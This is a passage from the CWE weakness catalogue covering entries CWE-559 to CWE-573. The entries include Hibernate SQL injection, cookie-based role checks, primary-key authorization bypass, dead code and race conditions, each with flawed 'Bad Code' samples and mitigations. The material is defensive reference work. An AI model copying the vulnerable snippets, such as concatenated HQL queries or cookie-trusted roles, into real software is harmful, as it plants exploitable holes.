ChildOf		1001	SFP Secondary Cluster: Use of an Improper API	888	1403

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Often Misused: Authentication
Software Fault Patterns	SFP3	Use of an improper API

## CWE-559: Often Misused: Arguments and Parameters

Category ID: 559 (Category)

Status: Draft

**Description****Summary**

Weaknesses in this category are related to improper use of arguments or parameters within function calls.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')	699	418
ParentOf		560	Use of <code>umask()</code> with <code>chmod</code> -style Argument	699	895
ParentOf		628	Function Call with Incorrectly Specified Arguments	699	977

**Relationship Notes**

This category is closely related to CWE-628, Incorrectly Specified Arguments, and might be the same. However, CWE-628 is a base weakness, not a category.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
133	Try All Common Application Switches and Options	

## CWE-560: Use of umask() with chmod-style Argument

Weakness ID: 560 (Weakness Variant)

Status: Draft

## Description

## Summary

The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod().

## Time of Introduction

- Implementation

## Applicable Platforms

## Languages

- C

## Common Consequences

## Confidentiality

## Integrity

## Access Control

## Read files or directories

## Modify files or directories

## Bypass protection mechanism

## Potential Mitigations

## Implementation

Use umask() with the correct argument.

## Testing

If you suspect misuse of umask(), you can use grep to spot call instances of umask().

## Other Notes

The umask() man page begins with the false statement: "umask sets the umask to mask & 0777" Although this behavior would better align with the usage of chmod(), where the user provided argument specifies the bits to enable on the specified file, the behavior of umask() is in fact opposite: umask() sets the umask to ~mask & 0777. The umask() man page goes on to describe the correct usage of umask(): "The umask is used by open() to set initial file permissions on a newly-created file. Specifically, permissions in the umask are turned off from the mode argument to open(2) (so, for example, the common umask default value of 022 results in new files being created with permissions 0666 & ~022 = 0644 = rw-r--r-- in the usual case where the mode is specified as 0666)."

## Relationships

Nature	Type	ID	Name	✓	Page
ChildOf		559	Often Misused: Arguments and Parameters	699	894
ChildOf		687	Function Call With Incorrectly Specified Argument Value	1000	1067
ChildOf		946	SFP Secondary Cluster: Insecure Resource Permissions	888	1371

## Taxonomy Mappings

## Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

## CWE-561: Dead Code

Weakness ID: 561 (Weakness Variant)

Status: Draft

## Description

## Summary

The software contains dead code, which can never be executed.

## Extended Description

Dead code is source code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.

### Time of Introduction

- Implementation

### Common Consequences

#### Other

#### Quality degradation

Dead code that results from code that can never be executed is an indication of problems with the source code that needs to be fixed and is an indication of poor quality.

### Detection Methods

#### Architecture / Design Review

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

#### Automated Static Analysis - Binary / Bytecode

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Binary / Bytecode Quality Analysis

Compare binary / bytecode to application permission manifest

#### Dynamic Analysis with manual results interpretation

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Automated Monitored Execution

#### Automated Static Analysis

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Permission Manifest Analysis

#### Automated Static Analysis - Source Code

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source Code Quality Analyzer

Cost effective for partial coverage:

Warning Flags

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

#### Dynamic Analysis with automated results interpretation

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

## Manual Static Analysis - Source Code

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

### Demonstrative Examples

#### Example 1:

The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null, while on the only path where s can be assigned a non-null value there is a return statement.

#### C++ Example:

*Bad Code*

```
String s = null;
if (b) {
    s = "Yes";
    return;
}
if (s != null) {
    Dead();
}
```

#### Example 2:

In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code.

#### Java Example:

*Bad Code*

```
public class DoubleDead {
    private void doTweedledee() {
        doTweedledumb();
    }
    private void doTweedledumb() {
        doTweedledee();
    }
    public static void main(String[] args) {
        System.out.println("running DoubleDead");
    }
}
```

(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.)

#### Example 3:

The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant.

#### Java Example:

*Bad Code*

```
public class Dead {
    String glue;
    public String getGlue() {
        return "glue";
    }
}
```

### Observed Examples

Reference	Description
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).

### Potential Mitigations

**Implementation**

Remove dead code before deploying the application.

**Testing**

Use a static analysis tool to spot dead code.

**Relationships**

Nature	Type	ID	Name	Count	Page
ChildOf		398	Indicator of Poor Code Quality	<b>699</b> <b>1000</b>	684
ChildOf		747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	<b>734</b>	1137
ChildOf		883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	<b>868</b>	1318
ChildOf		886	SFP Primary Cluster: Unused entities	<b>888</b>	1323
ParentOf		570	<i>Expression is Always False</i>	<b>699</b> <b>1000</b>	906
ParentOf		571	<i>Expression is Always True</i>	<b>699</b> <b>1000</b>	908
MemberOf		884	CWE Cross-section	<b>884</b>	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT C Secure Coding	MSC07-C	Detect and remove dead code
CERT C++ Secure Coding	MSC07-CPP	Detect and remove dead code
Software Fault Patterns	SFP2	Unused Entities

**CWE-562: Return of Stack Variable Address**

Weakness ID: 562 (Weakness Base)

Status: Draft

**Description****Summary**

A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.

**Extended Description**

Because local variables are allocated on the stack, when a program returns a pointer to a local variable, it is returning a stack address. A subsequent function call is likely to re-use this same stack address, thereby overwriting the value of the pointer, which no longer corresponds to the same variable since a function's stack frame is invalidated when it returns. At best this will cause the value of the pointer to change unexpectedly. In many cases it causes the program to crash the next time the pointer is dereferenced.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- C
- C++

**Common Consequences****Availability**

**DoS:** crash / exit / restart

**Demonstrative Examples**

The following function returns a stack address.

**C Example:***Bad Code*

```
char* getName() {
    char name[STR_MAX];
    fillInName(name);
}
```

```
return name;
}
```

## Potential Mitigations

### Testing

Use static analysis tools to spot return of the address of a stack variable.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		398	Indicator of Poor Code Quality	<input checked="" type="checkbox"/>	699 1000 684
ChildOf		672	Operation on a Resource after Expiration or Release		1000 1039
ChildOf		748	CERT C Secure Coding Section 50 - POSIX (POS)		734 1137
CanPrecede		825	Expired Pointer Dereference		1000 1255
ChildOf		998	SFP Secondary Cluster: Glitch in Computation		888 1393

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT C Secure Coding	POS34-C	Do not call putenv() with a pointer to an automatic variable as the argument
Software Fault Patterns	SFP1	Glitch in computation

## CWE-563: Assignment to Variable without Use ('Unused Variable')

Weakness ID: 563 (Weakness Variant)

Status: Draft

### Description

#### Summary

The variable's value is assigned but never used, making it a dead store.

#### Extended Description

After the assignment, the variable is either assigned another value or goes out of scope. It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.

### Time of Introduction

- Implementation

### Common Consequences

#### Other

#### Quality degradation

#### Varies by context

This weakness could be an indication of a bug in the program or a deprecated variable that was not removed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.

### Demonstrative Examples

The following code excerpt assigns to the variable `r` and then overwrites the value without using it.

#### C Example:

*Bad Code*

```
r = getName();
r = getNewBuffer(buf);
```

### Potential Mitigations

#### Implementation

Remove unused variables from the code.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		398	Indicator of Poor Code Quality	<input checked="" type="checkbox"/>	699 1000 684



Nature	Type	ID	Name	✓	Page
ChildOf	☐	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	<b>734</b>	1137
ChildOf	☐	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	<b>868</b>	1318
ChildOf	☐	886	SFP Primary Cluster: Unused entities	<b>888</b>	1323
MemberOf	✓	884	CWE Cross-section	<b>884</b>	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT C Secure Coding	MSC00-C	Compile cleanly at high warning levels
CERT C++ Secure Coding	MSC00-CPP	Compile cleanly at high warning levels
Software Fault Patterns	SFP2	Unused Entities

## CWE-564: SQL Injection: Hibernate

Weakness ID: 564 (*Weakness Variant*)

Status: Incomplete

### Description

#### Summary

Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Common Consequences

##### Confidentiality

##### Integrity

##### Read application data

##### Modify application data

#### Demonstrative Examples

The following code excerpt uses Hibernate's HQL syntax to build a dynamic query that's vulnerable to SQL injection.

#### Java Example:

*Bad Code*

```
String street = getStreetFromUser();
Query query = session.createQuery("from Address a where a.street='" + street + "'");
```

#### Potential Mitigations

##### Requirements

A non-SQL style database which is not subject to this flaw may be chosen.

##### Architecture and Design

Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.

##### Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.




##### Implementation

Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.

**Implementation**

Use vigorous white-list style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use. Narrowly define the set of safe characters based on the expected value of the parameter in the request.

**Relationships**

Nature	Type	ID	Name		Page	
ChildOf		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')		699 928 1000	159
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command		888	1388

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
Software Fault Patterns	SFP24	Tainted input to command

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
109	Object Relational Mapping Injection	

## CWE-565: Reliance on Cookies without Validation and Integrity Checking

**Weakness ID:** 565 (*Weakness Base*)

**Status:** Incomplete

**Description****Summary**

The application relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.

**Extended Description**

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can allow attackers to bypass authentication, conduct injection attacks such as SQL injection and cross-site scripting, or otherwise modify inputs in unexpected ways.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences****Access Control****Gain privileges / assume identity**

It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to escalate an attacker's privileges to an administrative level.

**Demonstrative Examples**

The following code excerpt reads a value from a browser cookie to determine the role of the user.

**Java Example:**

*Bad Code*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

It is easy for an attacker to modify the "role" value found in the locally stored cookie, allowing privilege escalation.

## Potential Mitigations

### Architecture and Design

Avoid using cookie data for a security-related decision.

### Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

### Architecture and Design

Add integrity checks to detect tampering.

### Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

## Relationships

Nature	Type	ID	Name		Page
ChildOf		254	Security Features		699 452
ChildOf		602	Client-Side Enforcement of Server-Side Security		1000 947
ChildOf		642	External Control of Critical State Data		1000 993
ChildOf		949	SFP Secondary Cluster: Faulty Endpoint Authentication		888 1372
ParentOf		784	<i>Reliance on Cookies without Validation and Integrity Checking in a Security Decision</i>		699 1202 1000

## Relationship Notes

This problem can be primary to many types of weaknesses in web applications. A developer may perform proper validation against URL parameters while assuming that attackers cannot modify cookies. As a result, the program might skip basic input validation to enable cross-site scripting, SQL injection, price tampering, and other attacks..

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP29	Faulty endpoint authentication

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
31	Accessing/Intercepting/Modifying HTTP Cookies	
39	Manipulating Opaque Client-based Data Tokens	

# CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key

Weakness ID: 566 (Weakness Variant)

Status: Incomplete

## Description

### Summary

The software uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.

### Extended Description

When a user can set a primary key to any value, then the user can modify the key to point to unauthorized records.

Database access control errors occur when:

Data enters a program from an untrusted source.

The data is used to specify the value of a primary key in a SQL query.

The untrusted source does not have the permissions to be able to access all rows in the associated table.

## Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Technology Classes

- Database-Server (*Often*)

### Common Consequences

#### Confidentiality

#### Integrity

#### Access Control

#### Read application data

#### Modify application data

#### Bypass protection mechanism

### Demonstrative Examples

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

#### C# Example:

*Bad Code*

```
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand("SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...
```

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

### Potential Mitigations




#### Implementation

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data. Use an "accept known good" validation strategy.

#### Implementation

Use a parameterized query AND make sure that the accepted values conform to the business rules. Construct your SQL statement accordingly.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		639	Authorization Bypass Through User-Controlled Key		699 1000 988
ChildOf		994	SFP Secondary Cluster: Tainted Input to Variable		888 1391

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP25	Tainted input to variable

## CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context

Weakness ID: 567 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.

### Extended Description

Within servlets, shared static variables are not protected from concurrent access, but servlets are multithreaded. This is a typical programming mistake in J2EE applications, since the multithreading is handled by the framework. When a shared variable can be influenced by an attacker, one thread could wind up modifying the variable to contain data that is not valid for a different thread that is also using the data within the variable.

Note that this weakness is not unique to servlets.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Confidentiality

#### Integrity

#### Availability

#### Read application data

#### Modify application data

#### DoS: instability

#### DoS: crash / exit / restart

If the shared variable contains sensitive data, it may be manipulated or displayed in another user session. If this data is used to control the application, its value can be manipulated to cause the application to crash or perform poorly.

### Demonstrative Examples

The following code implements a basic counter for how many times the page has been accessed.

#### Java Example:

*Bad Code*

```
public static class Counter extends HttpServlet {
    static int count = 0;
    protected void doGet(HttpServletRequest in, HttpServletResponse out)
        throws ServletException, IOException {
        out.setContentType("text/plain");
        PrintWriter p = out.getWriter();
        count++;
        p.println(count + " hits so far!");
    }
}
```

Consider when two separate threads, Thread A and Thread B, concurrently handle two different requests:

Assume this is the first occurrence of `doGet`, so the value of `count` is 0.

`doGet()` is called within Thread A.

The execution of `doGet()` in Thread A continues to the point AFTER the value of the `count` variable is read, then incremented, but BEFORE it is saved back to `count`. At this stage, the incremented value is 1, but the value of `count` is 0.

`doGet()` is called within Thread B, and due to a higher thread priority, Thread B progresses to the point where the `count` variable is accessed (where it is still 0), incremented, and saved. After the save, `count` is 1.

Thread A continues. It saves the intermediate, incremented value to the `count` variable - but the incremented value is 1, so `count` is "re-saved" to 1.

At this point, both Thread A and Thread B print that one hit has been seen, even though two separate requests have been processed. The value of `count` should be 2, not 1.

While this example does not have any real serious implications, if the shared variable in question is used for resource tracking, then resource consumption could occur. Other scenarios exist.

## Potential Mitigations

### Implementation

Remove the use of static variables used between servlets. If this cannot be avoided, use synchronized access for these variables.

## Relationships

Nature	Type	ID	Name		Page
CanPrecede	V	488	Exposure of Data Element to Wrong Session	V	823
ChildOf	C	557	Concurrency Issues	699	893
ChildOf	B	820	Missing Synchronization	1000	1249
ChildOf	C	852	CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)	844	1294
ChildOf	C	986	SFP Secondary Cluster: Missing Lock	888	1386
MemberOf	V	884	CWE Cross-section	884	1319

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	VNA00-J	Ensure visibility when accessing shared primitive variables
CERT Java Secure Coding	VNA02-J	Ensure that compound operations on shared variables are atomic
Software Fault Patterns	SFP19	Missing Lock

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
25	Forced Deadlock	

# CWE-568: finalize() Method Without super.finalize()

Weakness ID: 568 (Weakness Variant)

Status: Draft

## Description

### Summary

The software contains a finalize() method that does not call super.finalize().

### Extended Description

The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- Java

## Common Consequences

### Other

### Quality degradation

## Demonstrative Examples

The following method omits the call to super.finalize().

### Java Example:

Bad Code

```
protected void finalize() {
    discardNative();
}
```

## Potential Mitigations

### Implementation

Call the super.finalize() method.

### Testing

Use static analysis tools to spot such issues in your code.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	399	Resource Management Errors	699	686
ChildOf	B	459	Incomplete Cleanup	1000	775
ChildOf	C	573	Improper Following of Specification by Caller	1000	910
ChildOf	C	850	CERT Java Secure Coding Section 05 - Methods (MET)	844	1293
ChildOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1404

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	MET12-J	Do not use finalizers
Software Fault Patterns	SFP28	Unexpected access points

## CWE-569: Expression Issues

Category ID: 569 (Category) Status: Draft

### Description

#### Summary

Weaknesses in this category are related to incorrectly written expressions within code.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	398	Indicator of Poor Code Quality	699	684
ParentOf	B	480	Use of Incorrect Operator	699	809
ParentOf	V	481	Assigning instead of Comparing	699	811
ParentOf	V	482	Comparing instead of Assigning	699	814
ParentOf	V	570	Expression is Always False	699	906
ParentOf	V	571	Expression is Always True	699	908
ParentOf	V	588	Attempt to Access Child of a Non-structure Pointer	699	928
ParentOf	B	595	Comparison of Object References Instead of Object Contents	699	936
ParentOf	B	596	Incorrect Semantic Object Comparison	699	938
ParentOf	V	783	Operator Precedence Logic Error	699	1200

## CWE-570: Expression is Always False

Weakness ID: 570 (Weakness Variant) Status: Draft

### Description

#### Summary

The software contains an expression that will always evaluate to false.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Other

##### Quality degradation

##### Varies by context

#### Demonstrative Examples

##### Example 1:

In the following Java example the updateUserAccountOrder() method used within an e-business product ordering/inventory application will validate the product number that was ordered and the user account number. If they are valid, the method will update the product inventory, the user account, and the user order appropriately.

##### Java Example:

*Bad Code*

```
public void updateUserAccountOrder(String productNumber, String accountNumber) {
```



```

boolean isValidProduct = false;
boolean isValidAccount = false;
if (validProductNumber(productNumber)) {
    isValidProduct = true;
    updateInventory(productNumber);
}
else {
    return;
}
if (validAccountNumber(accountNumber)) {
    isValidProduct = true;
    updateAccount(accountNumber, productNumber);
}
if (isValidProduct && isValidAccount) {
    updateAccountOrder(accountNumber, productNumber);
}
}

```

However, the method never sets the `isValidAccount` variable after initializing it to false so the `isValidProduct` is mistakenly used twice. The result is that the expression "`isValidProduct && isValidAccount`" will always evaluate to false, so the `updateAccountOrder()` method will never be invoked. This will create serious problems with the product ordering application since the user account and inventory databases will be updated but the order will not be updated. This can be easily corrected by updating the appropriate variable.

*Good Code*

```

...
if (validAccountNumber(accountNumber)) {
    isValidAccount = true;
    updateAccount(accountNumber, productNumber);
}
...

```

### Example 2:

In the following example, the `hasReadWriteAccess` method uses bit masks and bit operators to determine if a user has read and write privileges for a particular process. The variable `mask` is defined as a bit mask from the `BIT_READ` and `BIT_WRITE` constants that have been defined. The variable `mask` is used within the predicate of the `hasReadWriteAccess` method to determine if the `userMask` input parameter has the read and write bits set.

*Bad Code*

```

#define BIT_READ 0x0001 // 00000001
#define BIT_WRITE 0x0010 // 00010000
unsigned int mask = BIT_READ & BIT_WRITE; /* intended to use "|" */
// using "&", mask = 00000000
// using "|", mask = 00010001
// determine if user has read and write access
int hasReadWriteAccess(unsigned int userMask) {
    // if the userMask has read and write bits set
    // then return 1 (true)
    if (userMask & mask) {
        return 1;
    }
    // otherwise return 0 (false)
    return 0;
}

```

However the bit operator used to initialize the `mask` variable is the AND operator rather than the intended OR operator (CWE-480), this resulted in the variable `mask` being set to 0. As a result, the `if` statement will always evaluate to false and never get executed.

The use of bit masks, bit operators and bitwise operations on variables can be difficult. If possible, try to use frameworks or libraries that provide appropriate functionality and abstract the implementation.

### Example 3:

In the following example, the `updateInventory` method used within an e-business inventory application will update the inventory for a particular product. This method includes an `if` statement with an expression that will always evaluate to false. This is a common practice in C/C++ to introduce debugging statements quickly by simply changing the expression to evaluate to true and then removing those debugging statements by changing expression to evaluate to false. This is also a common practice for disabling features no longer needed.

Bad Code

```
int updateInventory(char* productNumber, int numberOfItems) {
    int initCount = getProductCount(productNumber);
    int updatedCount = initCount + numberOfItems;
    int updated = updateProductCount(updatedCount);
    // if statement for debugging purposes only
    if (1 == 0) {
        char productName[128];
        productName = getProductName(productNumber);
        printf("product %s initially has %d items in inventory \n", productName, initCount);
        printf("adding %d items to inventory for %s \n", numberOfItems, productName);
        if (updated == 0) {
            printf("Inventory updated for product %s to %d items \n", productName, updatedCount);
        }
        else {
            printf("Inventory not updated for product: %s \n", productName);
        }
    }
    return updated;
}
```






Using this practice for introducing debugging statements or disabling features creates dead code that can cause problems during code maintenance and potentially introduce vulnerabilities. To avoid using expressions that evaluate to false for debugging purposes a logging API or debugging API should be used for the output of debugging messages.

### Potential Mitigations

#### Testing

Use Static Analysis tools to spot such conditions.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		561	Dead Code	<b>699</b>	895
				<b>1000</b>	
ChildOf		569	Expression Issues	699	906
ChildOf		747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	<b>734</b>	1137
ChildOf		883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	<b>868</b>	1318
ChildOf		998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	MSC00-C	Compile cleanly at high warning levels
CERT C++ Secure Coding	MSC00-CPP	Compile cleanly at high warning levels
Software Fault Patterns	SFP1	Glitch in computation

## CWE-571: Expression is Always True

Weakness ID: 571 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software contains an expression that will always evaluate to true.

#### Time of Introduction

- Implementation

#### Applicable Platforms

## Languages

- All

## Common Consequences

### Other

### Quality degradation

### Varies by context

## Demonstrative Examples

In the following Java example the `updateInventory()` method used within an e-business product ordering/inventory application will check if the input product number is in the store or in the warehouse. If the product is found, the method will update the store or warehouse database as well as the aggregate product database. If the product is not found, the method intends to do some special processing without updating any database.

### Java Example:

*Bad Code*

```
public void updateInventory(String productNumber) {
    boolean isProductAvailable = false;
    boolean isDelayed = false;
    if (productInStore(productNumber)) {
        isProductAvailable = true;
        updateInStoreDatabase(productNumber);
    }
    else if (productInWarehouse(productNumber)) {
        isProductAvailable = true;
        updateInWarehouseDatabase(productNumber);
    }
    else {
        isProductAvailable = true;
    }
    if ( isProductAvailable ) {
        updateProductDatabase(productNumber);
    }
    else if ( isDelayed ) {
        /* Warn customer about delay before order processing */
        ...
    }
}
```

However, the method never sets the `isDelayed` variable and instead will always update the `isProductAvailable` variable to true. The result is that the predicate testing the `isProductAvailable` boolean will always evaluate to true and therefore always update the product database. Further, since the `isDelayed` variable is initialized to false and never changed, the expression always evaluates to false and the customer will never be warned of a delay on their product.

## Potential Mitigations

### Testing

Use Static Analysis tools to spot such conditions.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		561	Dead Code	<b>699</b>	895
ChildOf		569	Expression Issues	699	906
ChildOf		747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	<b>734</b>	1137
ChildOf		883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	<b>868</b>	1318
ChildOf		998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	MSC00-C	Compile cleanly at high warning levels
CERT C++ Secure Coding	MSC00-CPP	Compile cleanly at high warning levels
Software Fault Patterns	SFP1	Glitch in computation

## CWE-572: Call to Thread run() instead of start()

Weakness ID: 572 (Weakness Variant)

Status: Draft

### Description

#### Summary

The program calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.

#### Extended Description

In most cases a direct call to a Thread object's run() method is a bug. The programmer intended to begin a new thread of control, but accidentally called run() instead of start(), so the run() method will execute in the caller's thread of control.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Other

#### Quality degradation

#### Varies by context

### Demonstrative Examples

The following excerpt from a Java program mistakenly calls run() instead of start().

#### Java Example:

Bad Code

```
Thread thr = new Thread() {
    public void run() {
        ...
    }
};
thr.run();
```

### Potential Mitigations

#### Implementation

Use the start() method instead of the run() method.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	557	Concurrency Issues	699	893
ChildOf	<b>C</b>	634	Weaknesses that Affect System Processes	<b>631</b>	982
ChildOf	<b>E</b>	821	Incorrect Synchronization	<b>699</b>	1250
				<b>1000</b>	
ChildOf	<b>C</b>	854	CERT Java Secure Coding Section 09 - Thread APIs (THI)	<b>844</b>	1295
ChildOf	<b>C</b>	1001	SFP Secondary Cluster: Use of an Improper API	<b>888</b>	1403

### Affected Resources

- System Process

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	THI00-J	Do not invoke Thread.run()
Software Fault Patterns	SFP3	Use of an improper API

## CWE-573: Improper Following of Specification by Caller

Weakness ID: 573 (Weakness Class)

Status: Draft

### Description

#### Summary

The software does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform.





















**Extended Description**

When leveraging external functionality, such as an API, it is important that the caller does so in accordance with the requirements of the external functionality or else unintended behaviors may result, possibly leaving the system vulnerable to any number of exploits.

**Time of Introduction**

- Implementation

**Common Consequences****Other****Quality degradation****Varies by context****Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')	<b>699</b> <b>1000</b>	418
ChildOf		850	CERT Java Secure Coding Section 05 - Methods (MET)	<b>844</b>	1293
ChildOf		1001	SFP Secondary Cluster: Use of an Improper API	<b>888</b>	1403
ParentOf		103	Struts: Incomplete validate() Method Definition	<b>1000</b>	194
ParentOf		104	Struts: Form Bean Does Not Extend Validation Class	<b>1000</b>	196
ParentOf		243	Creation of chroot Jail Without Changing Working Directory	<b>1000</b>	433
ParentOf		253	Incorrect Check of Function Return Value	<b>1000</b>	451
ParentOf		296	Improper Following of a Certificate's Chain of Trust	<b>1000</b>	523
ParentOf		304	Missing Critical Step in Authentication	<b>1000</b>	535
ParentOf		325	Missing Required Cryptographic Step	<b>1000</b>	570
ParentOf		329	Not Using a Random IV with CBC Mode	<b>1000</b>	580
ParentOf		358	Improperly Implemented Security Check for Standard	<b>1000</b>	621
ParentOf		475	Undefined Behavior for Input to API	<b>1000</b>	797
ParentOf		568	finalize() Method Without super.finalize()	<b>1000</b>	905
ParentOf		577	EJB Bad Practices: Use of Sockets	<b>699</b> <b>1000</b>	916
